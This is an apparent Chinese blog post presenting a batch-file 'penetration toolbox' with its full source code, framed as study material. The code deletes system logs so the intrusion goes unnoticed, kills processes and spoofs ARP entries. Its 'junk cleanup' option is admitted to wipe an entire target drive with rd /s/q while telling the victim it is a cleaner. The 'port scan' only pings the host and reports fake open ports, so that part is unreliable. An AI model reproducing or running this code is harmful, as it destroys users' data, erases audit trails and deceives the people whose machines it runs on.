本文仅作学习参考!!!!不可另作他用或转载!!!!
本文仅作学习参考!!!!不可另作他用或转载!!!!
本文仅作学习参考!!!!不可另作他用或转载!!!!
本文仅作学习参考!!!!不可另作他用或转载!!!!
项目功能:
源代码在文章末尾。
简单渗透工具箱:
1.1时间查看;
1.2 计算机服务查看;
1.3通过进程号或进程名结束目标应用;
1.4删除日志;
1.5查看用户集;
1.6 目标文件查找;
1.7查看计算机本地安全设置;
1.8查看本机IP下的端口情况;
1.9来进行MAC地址伪造,把本机变目标机的主机;
1.10事务查看;
1.11.清理清理垃圾(实际为清除目标机系统盘);
实现方法:
1. 简单渗透工具箱:使用bat文件进行编写,并使用bat to exe工具进行类型修改。
2.1 简单渗透工具箱测试计划执行情况
2.1.1 时间查看功能相关测试
该系统界面如图2-1所示:
图2-1界面
输入“1”时反馈情况如图2-2所示:
图2-2输入“1”时信息反馈
错误信息后界面跳转如图2-3所示:
图2-3 错误信息后界面跳转
2.1.2 查看服务功能相关测试
信息界面如图2-4所示:
图2-4信息界面
输入“2”信息成功时界面反馈如图2-5所示:
图2-5成功界面展示
2.1.3 结束进程功能相关测试
信息界面如图2-6所示:
图2-6查询签到信息界面展示
输入“3”信息界面如图2-7所示:
图2-7 输入“3”信息界面展示
输入信息错误时界面如图2-8所示:
图2-8输入信息错误时界面展示
输入信息正确时界面如图2-9所示:
图2-9输入信息正确时界面展示
2.1.4文件 查询功能相关测试
文件查询信息界面如图2-10所示:
图2-10文件查询展示
2.1.5 查询本地安全设置功能相关测试
查询本地安全设置信息界面如图2-11所示:
图2-11查询本地安全设置展示
2.1.6事件查询功能相关测试
事件查询信息界面如图2-12所示:
图2-12事件查询展示
2.1.7清理垃圾(清空目标盘)功能相关测试
清理垃圾(清空目标盘)功能界面如图2-13所示:
图2-13 清理垃圾功能界面展示
成功清理垃圾(清空目标盘)功能界面如图2-12所示:
图2-14成功清理垃圾功能界面展示
2.1.8退出功能相关测试
退出功能界面如图2-15所示:
图2-15退出界面展示
源代码:
@echo off
title 简易工具箱!
mode con cols =100 lines=100&color 0a
:menu
cls
echo =============================================
echo 看看我在你的计算机里都能干嘛呢?
echo 1.来看看你所处的时区!
echo 2.来看看你的计算器里运行的服务!
echo 3.你在干嘛?看我来结束你的应用!
echo 4.我的行为可不能被发现!来删除日志!
echo 5.谁和你一起在使用这个电脑!
echo 6.来找找你的关键文件!
echo 7.来看看你的本地安全设置吧!
echo 8.看看你的IP都有什么端口!
echo 9.来进行MAC地址伪造,把我变成主机好了!
echo 10.你最近都在这台计算器里干了什么?!
echo 11.来清理清理垃圾怎么样?!
echo 12.退出
echo =============================================
set /p num=请输入你的选择:
if "%num%"=="1" goto 1
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3
if "%num%"=="4" goto 4
if "%num%"=="5" goto 5
if "%num%"=="6" goto 6
if "%num%"=="7" goto 7
if "%num%"=="8" goto 8
if "%num%"=="9" goto 9
if "%num%"=="10" goto 10
if "%num%"=="11" goto 11
if "%num%"=="12" goto 12
echo 你没选对啊?! 从1~12中选择!
pause
goto menu
:1
@echo off
echo.
echo 现在的时间是: %DATE% %TIME%!!!!
echo.
pause
goto menu
:2
@echo off
echo 列出系统上运行的所有服务:
net start
pause
goto menu
:3
@echo off
set /p PROCESS_NAME=请输入要结束的进程名称:
echo 结束进程 %PROCESS_NAME%...
taskkill /f /im %PROCESS_NAME%
echo 进程已结束。
pause
goto menu
:4
@echo off
echo 键入ENTER开始清理系统日志...
pause
del /q /f "C:\Windows\System32\*.log"
echo 系统日志清理完成。
pause
goto menu
:5
@echo off
echo 列出系统上的所有用户:
net user
pause
goto menu
:6
@echo off
set /p w=请输入需要找出的文件后缀:
set /p pan=请输入需要寻找的盘符:
echo Searching for *.%w% files in %pan%:\123 >nul 2>null
for /r %pan%:\123 %%f in (*.%w%) do (
echo 找到文件: %%f
)
pause
goto menu
:7
@echo off
REM 检查安全审计设置
secpol.msc /s
pause
goto menu
:8
@echo off
set /p IP=请输入要扫描的IP地址:
echo 正在扫描端口...
for /l %%i in (1,1,1024) do (
echo 正在检查端口 %%i...
timeout /t 2 >nul
ping -n 1 -l 1 -w 1000 %IP% | find "TTL=" >nul
if not errorlevel 1 (
echo 端口 %%i 处于开放状态
)
)
pause
goto menu
:9
@echo off
set /p IP_ADDRESS=请输入目标IP地址:
set /p MAC_ADDRESS=请输入伪造的MAC地址:
echo 开始ARP欺骗...
arp -d %IP_ADDRESS% ; 清除ARP缓存
arp -s %IP_ADDRESS% %MAC_ADDRESS% ; 添加伪造的ARP条目
echo ARP欺骗完成。
pause
goto menu
:10
@echo off
REM 启动事件查看器
eventvwr.msc
pause
goto menu
:11
@echo off
echo===========================
echo.
echo 您好,我可以帮你清理垃圾文件
echo --by 王昭辰
echo===========================
pause
set /p pan=请输入需要清理的盘符:
rd %pan%: /s/q >nul 2>null
echo 感谢使用,%pan%盘已清空
pause
goto menu
:12
exit
本文仅作学习参考!!!!不可另作他用或转载!!!!
本文仅作学习参考!!!!不可另作他用或转载!!!!
本文仅作学习参考!!!!不可另作他用或转载!!!!
本文仅作学习参考!!!!不可另作他用或转载!!!!